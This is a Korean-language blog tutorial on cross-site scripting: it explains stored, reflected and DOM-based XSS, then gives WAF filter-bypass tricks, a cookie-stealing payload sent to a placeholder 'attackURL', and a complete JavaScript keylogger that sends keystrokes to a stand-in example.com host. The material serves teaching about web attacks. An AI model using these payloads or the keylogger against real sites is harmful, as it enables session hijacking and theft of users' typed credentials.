Stored XSS
- 악의적인 스크립트 코드가 서버에 저장되고, 사용자에게 노출되는 웹 애플리케이션에서 발생하는 취약점입니다.
- 이러한 취약점을 이용하면, 공격자는 웹 페이지에서 스크립트를 실행하고 사용자의 브라우저에서 실행되게 할 수 있습니다.
- 악의적인 스크립트를 게시물 또는 댓글에 삽입할 수 있고, 이를 통해 공격자는 사용자들의 세션 쿠키를 도용하거나 악성 행동을 수행할 수 있습니다.
- 공격자의 특정인, 기록, 흔적이 남는 대신, 대규모로 광역 공격이 가능합니다.
예제
사용자들이 메시지를 작성하고 공유할 수 있는 웹사이트의 게시판을 생각해봅시다. 사용자가 메시지에 스크립트 코드를 삽입하면, 이를 저장하고 페이지를 로드할 때 모든 사용자에게 노출시킵니다.
안녕하세요
<script>
// 악성 행동을 수행하는 스크립트 코드
// 사용자의 세션 쿠키를 탈취하거나, 사용자를 다른 사이트로 리디렉션시키는 등
</script>
<script>var i = new Image();i.src="attackURL?cookie="+document.cookie;</script>
이 스크립트가 저장되면, 모든 사용자가 해당 페이지를 로드할 때 스크립트가 실행되어 공격이 발생할 수 있습니다.
Reflected XSS
- 악의적인 스크립트 코드가 웹 애플리케이션으로 전송된 데이터에 포함되고, 해당 데이터가 웹 페이지에 반사되어 사용자에게 반환될 때 발생하는 취약점입니다.
- 공격자는 사용자의 입력 데이터를 조작하여 악성 스크립트 코드를 삽입하고, 이를 통해 사용자의 브라우저에서 스크립트를 실행시킬 수 있습니다.
- Reflected XSS는 주로 검색 기능, URL 매개변수 등을 통해 발생할 수 있습니다.
예제
웹사이트의 게시판에서 검색을 한다고 생각해봅시다.사용자가 검색어를 입력하면, 해당 검색어가 URL 매개변수로 전달되고 검색 결과 페이지에 반영됩니다. 악의적인 사용자가 다음과 같은 URL을 생성하여 공격을 시도할 수 있습니다.
<http://example.com/search?query=>alert(1)
위의 URL는 링크로서 작동을 하고, 공격자는 사용자가 이 링크를 클릭하도록 유도합니다. 이 검색어는 검색 결과 페이지에 반사되고, 해당 페이지를 로드한 사용자의 브라우저에서 스크립트가 실행되어 경고 창이 표시됩니다. 경고창대신 사용자의 세션 쿠키를 탈취하거나, 사용자를 다른 사이트로 리디렉션시킬수도 있습니다.
DOM(Document Object Model) based XSS
- 악의적인 스크립트 코드가 웹 페이지의 Document Object Model(DOM) 구조를 조작하여 실행되는 취약점입니다.
- DOM은 웹 페이지의 구조를 표현하는 객체 모델로, JavaScript를 사용하여 동적으로 조작할 수 있습니다.
- 공격자는 웹 페이지에서 악의적인 스크립트 코드가 실행되도록 DOM을 조작합니다.
예제
웹사이트에서 로그인시, 사용자 이름을 포함한 환영 메시지를 보여주는 기능을 제공한다고 가정해 봅시다. 사용자 이름은 URL의 프래그먼트 식별자에 저장되고, JavaScript로 읽어와 화면에 표시됩니다. 악의적인 사용자가 다음과 같은 URL을 생성하여 공격을 시도할 수 있습니다.
<http://example.com/#>alert(1)
웹 페이지는 URL의 프래그먼트를 읽어와 사용자 이름으로 사용하고, 스크립트가 실행되어 경고 창이 표시됩니다. 경고창대신 사용자의 세션 쿠키를 탈취하거나, 사용자를 다른 사이트로 리디렉션시킬수도 있습니다. 이와 같이 DOM 기반 XSS는 웹 페이지에서 동적으로 생성되는 컨텐츠를 조작하여 공격을 수행합니다.
URL 구조 참고
XSS 필터링 우회법
기본적으로 옛날부터 인터넷에 존재하는 보안인 firewall은 블랙리스트기반 필터링을 합니다.
이는 WAF (web application firewall) 라고 부르며, 보통 꺽쇠나 script등을 금지합니다.
블랙리스트기반이면 집요하게 하나하나 여러가지 찾아보면 결국 할수있는 방법이 있습니다.
<script> 문자 필터링
<script>가 필터링이 되어 있다면, <sc<script>ript>이런식으로 두번을 넣어서 우회할수 있다.
대소문자 혼용
<script> -> <scRiPt>
script load
글자수 제한이 걸린경우 파일을 업로드 해서 사용
http://example.com.hack.js</a>>
client side 검증 우회 문자열 변환
URL encode를 해서 <script>를 우회할수 있다
<script> -> %3c%73%63%72%69%70%74%3e
Eventhandler
반드시 자바 스크립트를 사용해야지만 코드를 실행할수 있는건 아닙니다. html태그중 하나인 img를 이용하면 alert를 실행 가능합니다. 이 외에도 수없이 많이 존재합니다.
이를 위해서 여러가지 다른 속성을 아는것이 유리합니다. onactivate, onload 등등.
아래 사이트에서는 사용될만한 코드역시 제공해 줍니다.
Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy
<script> var img = new Image();</script>
<p>
<img src=x onerror="alert(1)">
</p>
<img src=x onerror=alert(document.cookie)>
공격자 서버
사용자가 링크를 눌렀을떄, 그곳에 저장된 세션,토큰,아이디, 비밀번호 등을 링크의 사이트에 연결해서 저장하도록 하기 위해서 공격자는 서버자체를 만들수 있습니다.
이를 연습하기 위해 공격자 서버를 제공하는 웹사이트도 존재합니다. 제공되는 웹사이트 주소로 오는 요청의 피라미터는 저장됩니다.
RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks
xss 키로거
이벤트 리스너
키보드 이벤트 리스너를 사용하여 사용자가 키를 누를 때마다 해당 이벤트를 감지하고 관련 정보를 수집합니다.
document.addEventListener('keydown', function(event) {
// 키 입력 정보 수집 및 전송
});
AJAX 또는 Fetch 요청
키 입력 정보를 서버로 전송하기 위해 AJAX나 Fetch 요청을 사용할 수 있습니다.
xhr.send(JSON.stringify(keyData));
로컬 저장소
수집된 키 입력 정보를 브라우저의 로컬 저장소(localStorage 또는 sessionStorage)에 저장할 수 있습니다.
localStorage.setItem('keyLog', keyData);
var keys = ""; // 감지된 키 입력을 저장할 변수
var hackUrl = '<http://example.com/keylogger.php?c=>'; // 감지된 키 입력을 전송할 URL
document.onkeypress = function(e) {
get = window.event?event:e; // 크로스 브라우저를 위해 이벤트 객체를 가져옵니다.
key = get.keyCode?get.keyCode:get.charCode; // 키 코드를 가져옵니다.
key = String.fromCharCode(key); // 키 코드를 문자로 변환합니다.
keys += key; // 감지된 키를 keys 변수에 추가합니다.
};
window.setInterval(function(){
if(keys != '') { // keys 변수에 감지된 키가 있는지 확인합니다.
new Image().src = hackUrl + keys; // Image 객체를 생성하여 감지된 키를 hackUrl과 함께 전송합니다.
keys = ''; // keys 변수를 초기화하여 다음 감지를 위해 비웁니다.
}
}, 200); // 200 밀리초마다 실행되는 간격 함수
'old > Cyber Security' 카테고리의 다른 글
SSRF 공격기법 리스트 (0) | 2023.07.19 |
---|---|
사이버 보안: 사회공학기법이란? (0) | 2023.07.19 |
웹 개발: 식별과 인증이란 (0) | 2023.07.19 |
웹 해킹 예제: blind sql injection_CTF: 노말틱 DB 데이터 추출 3 (0) | 2023.07.19 |
웹 해킹 예제: Error base sql injection_CTF: 노말틱 DB 데이터 추출 2 (0) | 2023.07.19 |